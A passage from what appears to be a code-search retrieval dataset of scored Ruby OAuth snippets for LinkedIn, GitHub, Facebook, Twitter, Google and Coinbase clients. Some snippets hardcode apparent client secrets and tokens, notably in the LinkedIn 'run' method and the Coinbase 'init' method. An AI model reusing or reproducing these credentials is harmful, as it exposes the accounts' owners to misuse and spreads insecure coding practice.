end\n\n tok = self.auth_code.get_token(code, options.map { |key, value| [key.to_s, value] }.to_h)\n self.access_token = LinkedIn::AccessToken.new(tok.token,\n tok.expires_in,\n tok.expires_at)\n return self.access_token\n rescue ::OAuth2::Error => e\n raise OAuthError.new(e.response)\n end", "title": "" }, { "docid": "c676f8a41c78f5bcce3151381418f6f9", "score": "0.55139077", "text": "def callback\n # first, load the state (redirect_url, access_token)\n state = params[:state] ? LinkedAccount::Base.decode_state(params[:state]) : {}\n\n # set @linked_account, @redirect_url, and optionally @person\n case params.try(:[], :provider)\n when 'github'\n @linked_account = LinkedAccount::Github::User.find_or_create_via_oauth_code params[:code]\n @person = Person.find_by_access_token(state[:access_token])\n @redirect_url = state[:redirect_url]\n\n when 'facebook'\n @linked_account = LinkedAccount::Facebook.find_or_create_via_oauth_code params[:code]\n @person = Person.find_by_access_token(state[:access_token])\n @redirect_url = state[:redirect_url]\n\n when 'twitter'\n @linked_account = LinkedAccount::Twitter.find_or_create_via_oauth_token_and_verifier(params[:oauth_token], params[:oauth_verifier])\n @person = Person.find_by_access_token(state[:access_token])\n @redirect_url = state[:redirect_url]\n\n when 'gittip', 'gratipay'\n @linked_account = LinkedAccount::Gittip.find_by_oauth_token params[:external_access_token]\n @person = Person.find_by_access_token(params[:gittip_access_token] || params[:gratipay_access_token])\n @redirect_url = params.delete :redirect_url\n end\n\n # run through all of the use cases\n if @person && (@person == @linked_account.person)\n # nothing to do... @person is already logged in and linked to this account.\n opts = { status: 'linked', access_token: @person.create_access_token(request) }\n elsif @person && !@linked_account.person\n # should be safe to link this account to the logged in @person\n @linked_account.link_with_person(@person)\n opts = { status: 'linked', access_token: @person.create_access_token(request) }\n elsif @person\n # error! @person logged in but not the same as @linked_account.person\n opts = { status: 'error_already_linked' }\n elsif @linked_account.person\n opts = { status: 'linked', access_token: @linked_account.person.create_access_token(request) }\n\n # Alias Person ID with randomly generated Mixpanel distinct_id.\n unless state[:mp_id].blank?\n begin\n MixpanelAlias.claim(@linked_account.person.id, state[:mp_id])\n rescue MixpanelAlias::AlreadyClaimed\n opts[:reset_mixpanel_id] = true\n end\n end\n\n else\n # nobody logged in, and no person on this account... they need to create an account\n opts = {\n status: 'error_needs_account',\n email_is_registered: !!Person.find_by_email(@linked_account.email),\n account_link_id: \"#{params[:provider]}:#{@linked_account.create_access_token}\",\n first_name: @linked_account.first_name,\n last_name: @linked_account.last_name,\n email: @linked_account.email,\n image_url: @linked_account.image_url,\n display_name: @linked_account.login\n }\n end\n\n # redirect, should be provider-agnostic\n raise MissingRequiredParams, :redirect_url unless Rails.env.development? || (@redirect_url =~ WHITELISTED_REDIRECT_URL)\n\n # tack on params\n redirect_to @redirect_url + (@redirect_url['?'] ? '&' : '?') + opts.to_param\n end", "title": "" }, { "docid": "1ce3d5537f731ce962d135a455c71996", "score": "0.5507588", "text": "def social\n @user = current_user\n @links = current_user.external_links\n \n # TWITTER\n if @user.user_content.twitter_token.blank?\n clientTwitter = TwitterOAuth::Client.new(:consumer_key => TwitterEnv::API_KEY, :consumer_secret => TwitterEnv::SECRET_KEY)\n request_token = clientTwitter.request_token(:oauth_callback => TwitterEnv::CALLBACK_URL) \n session[:rtoken_twitter] = request_token.token\n session[:rsecret_twitter] = request_token.secret\n @login_twitter_url = request_token.authorize_url\n end\n \n # FACEBOOK\n @login_facebook_url = Koala::Facebook::OAuth.new.url_for_oauth_code(:permissions => 'read_stream,offline_access')\n \n if params[:code]\n @user.user_content.facebook_token = Koala::Facebook::OAuth.new.get_access_token(params[:code])\n @user.user_content.save\n end\n \n # LINKEDIN\n if params[:oauth_verifier]\n client = LinkedIn::Client.new(LinkedIn::API_KEY, LinkedIn::SECRET_KEY)\n if @user.user_content.linkedin_token.blank?\n pin = params[:oauth_verifier]\n atoken, asecret = client.authorize_from_request(session[:rtoken], session[:rsecret], pin)\n @user.user_content.linkedin_token = atoken\n @user.user_content.linkedin_secret = asecret\n @user.user_content.save\n else\n client.authorize_from_access(@user.user_content.linkedin_token, @user.user_content.linkedin_secret)\n end\n else\n client = LinkedIn::Client.new(LinkedIn::API_KEY, LinkedIn::SECRET_KEY)\n request_token = client.request_token(:oauth_callback => LinkedIn::CALLBACK_URL)\n session[:rtoken] = request_token.token\n session[:rsecret] = request_token.secret\n @login_linkedin_url = client.request_token.authorize_url\n end\n \n respond_to do |format| \n if params[:ajax] == \"true\" # Request came from ajax. Respond without layout.\n format.html { render :layout => false } # social.html.erb\n else\n format.html # social.html.erb WITH layout\n end\n end\n end", "title": "" }, { "docid": "10a7243f35c3b245bfa9f32df768bd2f", "score": "0.5504203", "text": "def fetch_details_from_linkedin\n\t\t# To Do\n\t\tself.user.has_linkedin = true\n\t\tself.user.save\n\tend", "title": "" }, { "docid": "01a52037460e86f91eb2ae73d644cd03", "score": "0.55039674", "text": "def auth\n if @token.nil?\n # If in CLI Mode, spawn a thread, run the API and open a browser window\n\n thread = nil\n if !File.exists?('.token')\n auth_thread = prompt_user_authorisation\n\n puts \"Waiting to retrieve LinkedIn OAuth token\"\n sleep 1 until auth_thread.thread_variable?('access_token')\n end\n\n # Get Token from environment\n @token = fetch_token_from_tempfile\n puts \"I have a token for you: #{@token}\"\n end\n\n @token\n end", "title": "" }, { "docid": "24fe344ab9045eda73b0a69f2e9e67b3", "score": "0.5471015", "text": "def run\n client = LinkedIn::Client.new('4wkfc3lzk92h', '7C2BKYvq04X3K2hB')\n client.authorize_from_access(atoken, asecret)\n connection_mash = client.connections(:fields =>[\"id\", \"first-name\", \"last-name\", \"phone-numbers\", \"main-address\",\"positions\", \"educations\", \"honors\", \"associations\", \"interests\", \"picture-url\"])[\"all\"]\n \n connection_mash.each do |person|\n # Create new minion if it does not already exist in the database by UUID\n uuid = person[\"id\"]\n log \"Grabbing #{uuid}: #{person['first_name']} #{person['last_name']}\"\n if !Minion.find_by_uuid(uuid) && uuid != \"private\"\n minion = Minion.new(:first_name => person[\"first_name\"],\n :last_name => person[\"last_name\"],\n :uuid => uuid)\n minion.save\n \n # School\n educations = person[\"educations\"][\"all\"]\n if educations\n educations.each do |ed|\n \n start_date = construct_date(ed[\"start_date\"][\"month\"], ed[\"start_date\"][\"year\"]) rescue nil\n end_date = construct_date(ed[\"end_date\"][\"month\"], ed[\"end_date\"][\"year\"]) rescue nil\n e = EdSession.new(:start_date => start_date, :end_date => end_date)\n e.minion_id = minion.id\n \n existing = School.find_by_name(ed[\"school_name\"])\n if existing\n e.school_id = existing.id\n else\n new_school = School.new(:name => ed[\"school_name\"])\n new_school.save\n e.school_id = new_school.id\n end\n \n e.save\n end\n end\n \n # Jobs\n positions = person[\"positions\"][\"all\"]\n if positions\n positions.each do |pos|\n \n start_date = construct_date(pos[\"start_date\"][\"month\"], pos[\"start_date\"][\"year\"]) rescue nil\n end_date = construct_date(pos[\"end_date\"][\"month\"], pos[\"end_date\"][\"year\"]) rescue nil\n \n p = Job.new(:start_date => start_date, :end_date => end_date, :position => pos[\"title\"], :text => pos[\"summary\"])\n p.minion_id = minion.id\n \n # Assign to company\n existing = Company.find_by_name(pos[\"company\"][\"name\"])\n if existing\n p.company_id = existing.id\n else\n new_company = Company.new(:name => pos[\"company\"][\"name\"])\n new_company.save\n p.company_id = new_company.id\n end \n \n p.save \n end\n end\n end\n end\n end", "title": "" }, { "docid": "c815f6afdf0b79e1796f8a4e0dc1d20d", "score": "0.54605204", "text": "def get_profile\n begin\n client.profile(fields: PROFILE_FIELDS)\n rescue Exception => e\n logger.error \"Linkedin #get_profile error #{e}\"\n end\n end", "title": "" }, { "docid": "8d6e1c706ff91a37d4047d2f52fbcd75", "score": "0.5452851", "text": "def initialize(config)\n $LOG.i('initializing client')\n @config = config\n @epoint = Upwork::Api::DEFAULT_EPOINT\n\t@url_auth, @url_rtoken, @url_atoken = URI_AUTH, URI_RTOKEN, URI_ATOKEN\n @tenant_id = nil\n\n\t@oauth2_client = OAuth2::Client.new(\n @config.client_id,\n @config.client_secret,\n\t :site => Upwork::Api::BASE_HOST,\n\t :authorize_url => @url_auth,\n\t :token_url => @url_atoken,\n\t :connection_opts => { :headers => {'User-Agent' => 'Github Upwork API Ruby Client' }}\n\t)\n end", "title": "" }, { "docid": "17dc79aaf86724cc4864e6f87c74bd02", "score": "0.5451095", "text": "def initialize(options = nil)\n @options = options || @@default_options\n @api_key = @options[:api_key] || @options[:oauth_consumer_key]\n @shared_secret = @options[:shared_secret]\n @rest_endpoint = @options[:rest_endpoint] || REST_ENDPOINT\n @auth_endpoint = @options[:auth_endpoint] || AUTH_ENDPOINT\n \n if @options[:oauth_access_token] && @options[:oauth_access_token_secret]\n @access_token = OAuth::AccessToken.new(oauth_customer, @options[:oauth_access_token], @options[:oauth_access_token_secret])\n end\n end", "title": "" }, { "docid": "7a0495bafdcc3b1598b66c0ac8331564", "score": "0.5450019", "text": "def authorize_url(params={})\n # response_type param included by default by using the OAuth 2.0\n # auth_code strategy\n # client_id param included automatically by the OAuth 2.0 gem\n params[:state] ||= state\n params[:redirect_uri] ||= \"http://localhost\"\n oauth2_client.auth_code.authorize_url(params)\n rescue OAuth2::Error => e\n raise LinkedIn::Errors::UnauthorizedError.new(e.code), e.description\n end", "title": "" }, { "docid": "bb5d8b0e1716e8db70560270bc40c81b", "score": "0.5448", "text": "def omniauth(provider, *args); end", "title": "" }, { "docid": "9f7608482d5efe2f5cb6f90358d441c6", "score": "0.54405165", "text": "def github\n process_oauth_callback\n end", "title": "" }, { "docid": "db69b6998da817f370546f4d0b27383f", "score": "0.54311544", "text": "def create_client_from_outhAccount(scope, oob_uri, user_id, oauth_cred_file)\n #oob_uri = 'urn:ietf:wg:oauth:2.0:oob'\n #user_id = 'eyemole@gmail.com'\n client_id = Google::Auth::ClientId.from_file(oauth_cred_file)\n token_store = Google::Auth::Stores::FileTokenStore.new(:file => 'tokens.yaml')\n authorizer = Google::Auth::UserAuthorizer.new(client_id, scope, token_store)\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: oob_uri )\n #Launchy.open(url)\n puts \"Open this URL in Browser and enter the code you got from browser below\"\n puts \"URL: #{url}\"\n print \"enter the code you got from browser here and press Enter: \"\n # code = gets\n code = STDIN.gets.chomp\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: oob_uri)\n end\n blogger = Google::Apis::BloggerV3::BloggerService.new\n blogger.authorization = credentials\n return blogger\nend", "title": "" }, { "docid": "00e4e8d0a1ffe5df426ff5ac5275ecdd", "score": "0.542859", "text": "def facebook_oauth\n # Insert your own Facebook client ID and secret here\n # auth = Koala::Facebook::OAuth.new(ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"])\n\n @facebook_oauth = Koala::Facebook::OAuth.new(ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"])\n\n\n\n end", "title": "" }, { "docid": "c9a94f61f8f06b2952e14a47a9256f9a", "score": "0.5409299", "text": "def openid_client_secret; end", "title": "" }, { "docid": "89c0a7887cd68b79a9950074f7229f22", "score": "0.53979605", "text": "def configure_github_access\n settings = ::GitReview::Settings.instance\n if settings.oauth_token && settings.username\n @github = Octokit::Client.new(\n :login => settings.username,\n :access_token => settings.oauth_token,\n :auto_traversal => true\n )\n @github.login\n else\n configure_oauth\n configure_github_access\n end\n end", "title": "" }, { "docid": "576930b695642fe8265ea6168d53536b", "score": "0.5382777", "text": "def accept\n #Fetch the 'code' query parameter from the callback\n code = params[:code] \n state = params[:state]\n \n if !state.eql?(STATE)\n #Reject the request as it may be a result of CSRF\n else \n #Get token object, passing in the authorization code from the previous step \n token = client.auth_code.get_token(code, :redirect_uri => REDIRECT_URI)\n \n #Use token object to create access token for user \n #(this is required so that you provide the correct param name for the access token)\n access_token = OAuth2::AccessToken.new(client, token.token, {\n :mode => :query,\n :param_name => \"oauth2_access_token\",\n })\n \n #Use the access token to make an authenticated API call\n response = access_token.get('https://www.linkedin.com/v1/people/~')\n \n #Print body of response to command line window\n puts response.body\n \n # Handle HTTP responses\n case response\n when Net::HTTPUnauthorized\n # Handle 401 Unauthorized response\n when Net::HTTPForbidden\n # Handle 403 Forbidden response\n end\n end\n end", "title": "" }, { "docid": "70dd8ff58da8556bf7ca382d70840a6d", "score": "0.5378184", "text": "def openid_oauth(value = nil)\n rw_config(:openid_oauth, value, false)\n end", "title": "" }, { "docid": "da496327369086b5d7b5289e88c03c38", "score": "0.53684247", "text": "def github_client\n Octokit::Client.new access_token: self.setting.user_with_token.client_token\n end", "title": "" }, { "docid": "92c224be191779607c276503e1214333", "score": "0.53494346", "text": "def set_oauth_account\n @oauth_account = OauthAccount.find(params[:id])\n end", "title": "" }, { "docid": "b4206814674fab9ab3e74eec34ba20bd", "score": "0.5335865", "text": "def configure_oauth!(config)\n [\n { backend: :google_oauth2, id: \"id\", secret: \"secret\" },\n { backend: :open_id },\n { backend: :openid_connect },\n { backend: :github, id: \"client_id\", secret: \"client_secret\" },\n { backend: :gitlab, id: \"application_id\", secret: \"secret\" },\n { backend: :bitbucket, id: \"key\", secret: \"secret\" }\n ].each do |b|\n if b[:id]\n id = APP_CONFIG[\"oauth\"][b[:backend].to_s][b[:id]]\n secret = APP_CONFIG[\"oauth\"][b[:backend].to_s][b[:secret]]\n else\n id = nil\n secret = nil\n end\n\n configure_backend!(config, b[:backend], id, secret)\n end\nend", "title": "" }, { "docid": "3c4f17203ae6cde89434f0f7f183cae7", "score": "0.5330421", "text": "def config\n Simple::OAuth2.config\n end", "title": "" }, { "docid": "e17b16dc28787833d0e8f23cb2052012", "score": "0.53243256", "text": "def github_client\n p = Project.find(params[:id])\n if p.github_token\n github = Github.new :oauth_token => p.github_token\n else\n github = Github.new :client_id => GITHUB_CLIENT_ID , :client_secret => GITHUB_CLIENT_SECRET\n end\n end", "title": "" }, { "docid": "c4b2c08eac55d3dc4cb488403cdb9358", "score": "0.5297167", "text": "def initialize(client_id, client_secret, opts={})\n @id = client_id\n @secret = client_secret\n @site = opts.delete(:site)\n ssl = opts.delete(:ssl)\n @options = { :authorize_url => '/oauth/authorize',\n :access_token_url => '/oauth/access_token', \n :access_token_method => :post,\n :connection_opts => {},\n :parse_json => false,\n :raise_errors => true }.merge(opts)\n @options[:connection_opts][:ssl] = ssl if ssl\n end", "title": "" }, { "docid": "27aee3e92df5dc0d8a170b7b73f43e0c", "score": "0.52918255", "text": "def github\n\n @github = Github.new({ client_id: CONFIG[:GITHUB_CLIENT_ID], client_secret: CONFIG[:GITHUB_CLIENT_SECRET] })\n end", "title": "" }, { "docid": "495796f9ed7f42084f5fc68629f0e362", "score": "0.5285194", "text": "def initialize(tokens_and_secrets = {})\n @oauth = KynetxAmApi::Oauth.new(tokens_and_secrets)\n end", "title": "" }, { "docid": "4771bbd76836b0de10bb875ae43379b4", "score": "0.5277934", "text": "def update_devise_rb\n inject_into_file 'config/initializers/devise.rb', after: \"config.sign_out_via = :delete\\n\" do <<-'RUBY'\n\n # Config Social Keys to create the SignUps\n config.sign_out_via = :get\n config.omniauth :facebook, ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"], { :scope => 'email, offline_access', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :twitter, ENV[\"TWITTER_KEY\"], ENV[\"TWITTER_SECRET\"], { :scope => 'r_fullprofile, r_emailaddress', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :linkedin, ENV[\"LINKEDIN_KEY\"], ENV[\"LINKEDIN_SECRET\"], { :scope => 'r_fullprofile r_emailaddress', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :github, ENV['GITHUB_KEY'], ENV['GITHUB_SECRET'], scope: \"user, public_repo\"\n config.omniauth :google_oauth2, ENV['GOOGLE_KEY'], ENV['GOOGLE_SECRET'], {}\n\n RUBY\n end\n\n puts 'Check your config/initializers/devise.rb which was updated to have the Social Keys used (OmniAuth linked to devise)'.colorize(:light_green)\n puts 'UPDATE your config/initializers/devise.rb if you need more data from the user, CHANGING the: SCOPE'.colorize(:light_yellow)\n end", "title": "" }, { "docid": "0acdd0ab1832035612b38fb3b3d864ff", "score": "0.5276727", "text": "def create\n @linked_in_invitation = LinkedInInvitation.new(params[:linked_in_invitation])\n\n respond_to do |format|\n if @linked_in_invitation.save\n format.html { redirect_to @linked_in_invitation, notice: 'Linked in invitation was successfully created.' }\n format.json { render json: @linked_in_invitation, status: :created, location: @linked_in_invitation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @linked_in_invitation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "84a491de0f5da52f8776f937d03c435a", "score": "0.5274269", "text": "def initialize(linker, app_name,api_key,api_secret)\n @linker=linker\n @applicationName=app_name\n @apiKey=api_key\n @apiSecret=api_secret\n end", "title": "" }, { "docid": "561db7ce5e3d84916325c1cdd9ef3a52", "score": "0.52732587", "text": "def client\n Octokit::Client.new(access_token: decrypt(@user.github_token))\n end", "title": "" }, { "docid": "371ae4564b9078649cfab560fc2d1063", "score": "0.52579707", "text": "def init\n\t\tuser_credentials = {\n\t\t\t:access_token => access_token,\n\t\t\t:refresh_token => refresh_token,\n\t\t\t:expires_at => Time.now + expires_in\n\t\t}\n\n client_id = '694fc2f618facf30b3b41726ee6d0ac04c650669ca3d114cb0bae4223cecade3'\n client_secret = '3e7cfd07d829211ac50dd6486fe677ca76e965f25ad7d68e67e845e0d4a213e7'\n\t\tCoinbase::OAuthClient.new(client_id, client_secret, user_credentials)\n\tend", "title": "" }, { "docid": "6581587a46b4e9e8385a321ee2c0121e", "score": "0.52509093", "text": "def oauth_callback_url\n end", "title": "" }, { "docid": "c4120b995e7da1e4d01ff4922c253f2d", "score": "0.524253", "text": "def config_github(api_key)\n @github = GitHub.new(api_key)\n end", "title": "" }, { "docid": "5900bdfe71d562697bdbff01f78c009b", "score": "0.5242385", "text": "def initialize options = {}\n @authorization_uri = nil\n @token_credential_uri = nil\n @client_id = nil\n @client_secret = nil\n @code = nil\n @expires_at = nil\n @issued_at = nil\n @issuer = nil\n @password = nil\n @principal = nil\n @redirect_uri = nil\n @scope = nil\n @target_audience = nil\n @state = nil\n @username = nil\n @access_type = nil\n update! options\n end", "title": "" }, { "docid": "d87c193c6423ab46f541ef9c88c7c04f", "score": "0.5230492", "text": "def openid_redirect_uri; end", "title": "" }, { "docid": "bea591a1ec379e1f96a7941947c17fef", "score": "0.5227338", "text": "def set_oauth_client(id, secret, env)\n @oauth_client = OAuth2::Client.new(\n id,\n secret,\n site: Volabit.site_for(env),\n raise_errors: false\n )\n end", "title": "" }, { "docid": "19145bfb93a0543a67b4f234f28c74b6", "score": "0.5223955", "text": "def new\n @linked_in_invitation = LinkedInInvitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @linked_in_invitation }\n end\n end", "title": "" }, { "docid": "83c03a5548f35cffd352fdef74aa1116", "score": "0.52235234", "text": "def signin\n embed_screen api_args.select_keys(\"redirect_uri\", \"client_id\", \"response_type\")\n end", "title": "" }, { "docid": "c318d720c2545376e04118d26d107790", "score": "0.5200581", "text": "def initialize(client_id, client_secret, version='v4', base='https://platform.pokitdok.com')\n @client_id = client_id\n @client_secret = client_secret\n @version = version\n\n @api_url = \"#{base}/api/#{version}\"\n @client = OAuth2::Client.new(@client_id, @client_secret,\n site: @api_url, token_url: '/oauth2/token')\n\n\n @scopes = {}\n @scopes['default'] = { scope: refresh_token }\n scope 'default'\n end", "title": "" }, { "docid": "ed986c53c651e34620e1e523b8f5d84a", "score": "0.51875705", "text": "def oauth_url\n 'https://geoloqi.com/oauth/authorize'\n end", "title": "" }, { "docid": "cb4cb80fa7e0e931fdf0b7d384049d06", "score": "0.51866263", "text": "def customize_openid_request!(openid_request)\n end", "title": "" }, { "docid": "d49d53cd5b704b072a2e4117b9a6dec2", "score": "0.51820743", "text": "def github_client\n Octokit::Client.new(:login => username, :oauth_token => token)\n end", "title": "" }, { "docid": "232c5a268112dc83bc0653be2d3d8c7f", "score": "0.5177316", "text": "def client_options\n\topts = {}\n\topts['client_id'] = 'OAuth Client ID'\n\topts['service_email'] = 'Service E-Mail'\n\topts['key'] = \"/path/toprivatekey.p12\"\n\topts['project_id'] = 'Project ID'\n\topts\nend", "title": "" }, { "docid": "35a8dfd008a0cf2872f6db76a7a126e6", "score": "0.51747954", "text": "def octokit\n @octokit ||= octokit_client(github_oauth_token)\n end", "title": "" }, { "docid": "c51074b0cac9236cc66d32a7d8f0fffa", "score": "0.5172793", "text": "def github_client\n @github_client ||= begin\n if provider = self.omni_auth_providers.where(name: \"github\").first\n Octokit::Client.new(access_token: provider.access_token)\n end\n end\n end", "title": "" }, { "docid": "58e9e75f8122a8adbbf3e5af0434310f", "score": "0.5170711", "text": "def client\n Octokit::Client.new(:access_token => \"#{token}\")\n end", "title": "" }, { "docid": "237897c4c3701d656eee72e9f041a636", "score": "0.5169172", "text": "def log_in_to_twitter\n @client = Twitter::REST::Client.new do |config|\n #https://apps.twitter.com/app/14450234\n config.consumer_key = Figaro.env.pusher_key\n config.consumer_secret = Figaro.env.pusher_secret\n config.access_token = Figaro.env.stripe_api_key\n config.access_token_secret = Figaro.env.stripe_publishable_key\n end\n end", "title": "" }, { "docid": "9115f2bc6b6e5d6d67127cc8d43f2aea", "score": "0.51683635", "text": "def initialize(auth_options)\n\t\t\t\t@options = OkAuth.getUrlOptions\n\t\t\t\t@options = @options.merge(auth_options)\n\t\t\tend", "title": "" }, { "docid": "fe76a52231a02b9334478deaaad249d3", "score": "0.5167353", "text": "def sakai_init\n {\n \"openid_configuration\": SAKAI_OPENID_CONFIGURATION,\n \"registration_token\": \"1641258858:09e941d2-15cc-4389-be3f-dc1e04c14061\",\n }\nend", "title": "" }, { "docid": "f99fd89dd64dbebabad7e0a93e05f2bd", "score": "0.5160241", "text": "def initialize(options = {})\n @access_key_id = options[:access_key_id]\n @secret_access_key = options[:secret_access_key]\n @use_ssl = options[:use_ssl] || false\n @debug = options[:debug]\n @timeout = options[:timeout]\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "67613a10a9e30a27afda8224d1165461", "score": "0.0", "text": "def set_game_stat\n @game_stat = GameStat.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60315156", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.6018921", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59215444", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.59146434", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.59146434", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.58982897", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58877826", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58877826", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58877826", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.58875746", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58776975", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5860271", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.5808841", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.5742892", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.5733006", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.5718553", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5704972", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56959176", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56703776", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651533", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5649987", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.5641134", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.56252027", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608981", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5600116", "text": "def execute_callbacks; end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598888", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589137", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.55629355", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.55629355", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.5506731", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504886", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n 